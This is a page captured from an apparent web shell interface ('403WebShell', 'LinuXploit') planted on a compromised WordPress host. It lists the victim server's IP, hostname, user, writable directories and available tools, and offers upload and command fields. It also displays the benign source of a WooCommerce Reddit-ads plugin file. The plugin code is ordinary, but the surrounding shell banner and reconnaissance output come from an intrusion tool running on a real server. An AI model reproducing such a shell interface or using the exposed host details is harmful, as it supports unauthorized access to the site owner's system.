Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/maze/wp-content/plugins/reddit-for-woocommerce/includes/API/AdPartner/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/maze/wp-content/plugins/reddit-for-woocommerce/includes/API/AdPartner/AdApi.php
<?php
/**
 * API module for creating Ads.
 *
 * This class provides an interface for interacting with the Ad Partner's
 * Ad Group API via WooCommerce Connect Server (WCS). It supports ad group-related
 * operations such as creation, and can be extended to include retrieval,
 * deletion, or updates in the future.
 *
 * @since 0.1.0
 * @package RedditForWooCommerce\API\AdPartner
 */

namespace RedditForWooCommerce\API\AdPartner;

use RedditForWooCommerce\API\AdPartner\BaseAdPartnerApi;
use RedditForWooCommerce\Utils\Storage\Options;
use RedditForWooCommerce\Utils\Storage\OptionDefaults;
use RedditForWooCommerce\Utils\Helper;
use WP_Error;

/**
 * API module for creating Ads.
 *
 * This class provides the ability to create a new Ad under the merchant's
 * Ad Partner account, associating it with an existing Ad Group.
 *
 * @since 0.1.0
 */
class AdApi extends BaseAdPartnerApi {

	/**
	 * Creates an Ad for the current merchant business.
	 *
	 * This method builds and submits the Ad creation request using the
	 * Ad group ID and Profile ID configured in the plugin settings.
	 *
	 * It returns a {@see WP_REST_Response} on success or a {@see WP_Error}
	 * on failure, depending on whether the required prerequisites are met.
	 *
	 * @since 0.1.0
	 *
	 * @param string $ad_group_id The ad group ID.
	 * @param string $profile_id  The profile ID.
	 * @return \WP_REST_Response|WP_Error REST response from WCS or error if inputs are missing.
	 */
	public function create( $ad_group_id, $profile_id ) {
		$ad_account_id = Options::get( OptionDefaults::AD_ACCOUNT_ID );

		if ( ! $ad_account_id ) {
			return new WP_Error(
				'ad_account_id_not_set',
				__( 'Ad Account ID not found.', 'reddit-for-woocommerce' ),
			);
		}

		if ( ! $profile_id ) {
			return new WP_Error(
				'profile_id_not_set',
				__( 'Profile ID not found.', 'reddit-for-woocommerce' ),
			);
		}

		/*
		 * Prepare payload for the Ad creation.
		 *
		 * @see https://ads-api.reddit.com/docs/v3/operations/Create%20Ad
		 */
		$payload = array(
			'data' => array(
				'type'                    => 'UNSPECIFIED',
				'campaign_objective_type' => 'CATALOG_SALES',
				'configured_status'       => 'ACTIVE',
				'name'                    => Helper::get_store_name( 'ad' ),
				'ad_group_id'             => $ad_group_id,
				'profile_id'              => $profile_id,
				'shopping_creative'       => array(
					'dpa_carousel_mode' => 'CAROUSEL_ONLY',
					'headline'          => Helper::get_ad_headline(),
					'call_to_action'    => 'Shop Now',
					'allow_comments'    => false,
					'second_line_cta'   => 'PRICE',
					'destination_url'   => '',
				),
			),
		);

		return $this->wcs->proxy_post(
			sprintf( '/ads/ad_accounts/%s/ads', rawurlencode( $ad_account_id ) ),
			$payload
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit